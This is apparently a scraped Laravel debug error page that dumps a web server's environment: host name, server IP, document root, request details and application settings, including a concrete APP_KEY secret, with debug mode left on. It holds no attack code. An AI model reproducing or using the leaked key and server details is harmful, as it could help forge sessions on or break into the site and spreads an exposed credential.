"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
SERVER_SIGNATURE
"<address>Apache/2.4.38 (Debian) Server at rtc-zdorovie.ru Port 443</address>\n"
SERVER_SOFTWARE
"Apache/2.4.38 (Debian)"
SERVER_NAME
"rtc-zdorovie.ru"
SERVER_ADDR
"194.177.22.1"
SERVER_PORT
"443"
REMOTE_ADDR
"44.222.146.114"
DOCUMENT_ROOT
"/var/www/rtc-zdorovie.ru"
REQUEST_SCHEME
"https"
CONTEXT_PREFIX
""
CONTEXT_DOCUMENT_ROOT
"/var/www/rtc-zdorovie.ru"
SERVER_ADMIN
"webmaster@localhost"
SCRIPT_FILENAME
"/var/www/rtc-zdorovie.ru/index.php"
REMOTE_PORT
"44122"
REDIRECT_URL
"/serviceslabs"
GATEWAY_INTERFACE
"CGI/1.1"
SERVER_PROTOCOL
"HTTP/1.1"
REQUEST_METHOD
"GET"
QUERY_STRING
""
REQUEST_URI
"/serviceslabs"
SCRIPT_NAME
"/index.php"
PHP_SELF
"/index.php"
REQUEST_TIME_FLOAT
1711627401.336
REQUEST_TIME
1711627401
APP_NAME
"Laravel"
APP_ENV
"local"
APP_KEY
"base64:Xk4Xsd5g6JeUkSeNjcYAatFcwIslHRqaEYeMxyLqEvM="
APP_DEBUG
"true"
APP_URL
"http://localhost"
LOG_CHANNEL
"stack"
BROADCAST_DRIVER
"log"
CACHE_DRIVER
"file"
SESSION_DRIVER
"file"
SESSION_LIFETIME
"120"
QUEUE_DRIVER
"sync"
REDIS_HOST
"127.0.0.1"
REDIS_PASSWORD
"null"
REDIS_PORT
"6379"
MAIL_DRIVER
"smtp"
MAIL_HOST
"smtp.mailtrap.io"
MAIL_PORT
"2525"
MAIL_USERNAME
"null"
MAIL_PASSWORD
"null"
MAIL_ENCRYPTION
"null"
PUSHER_APP_ID
""
PUSHER_APP_KEY
""
PUSHER_APP_SECRET
""
PUSHER_APP_CLUSTER
"mt1"
MIX_PUSHER_APP_KEY
""
MIX_PUSHER_APP_CLUSTER
"mt1"
Key Value
APP_NAME
"Laravel"
APP_ENV
"local"
APP_KEY
"base64:Xk4Xsd5g6JeUkSeNjcYAatFcwIslHRqaEYeMxyLqEvM="
APP_DEBUG
"true"
APP_URL
"http://localhost"
LOG_CHANNEL
"stack"
BROADCAST_DRIVER
"log"
CACHE_DRIVER
"file"
SESSION_DRIVER
"file"
SESSION_LIFETIME
"120"
QUEUE_DRIVER
"sync"
REDIS_HOST
"127.0.0.1"
REDIS_PASSWORD
"null"
REDIS_PORT
"6379"
MAIL_DRIVER
"smtp"
MAIL_HOST
"smtp.mailtrap.io"
MAIL_PORT
"2525"
MAIL_USERNAME
"null"
MAIL_PASSWORD
"null"
MAIL_ENCRYPTION
"null"
PUSHER_APP_ID
""
PUSHER_APP_KEY
""
PUSHER_APP_SECRET
""
PUSHER_APP_CLUSTER
"mt1"
MIX_PUSHER_APP_KEY
""
MIX_PUSHER_APP_CLUSTER
"mt1"
0. Whoops\Handler\PrettyPageHandler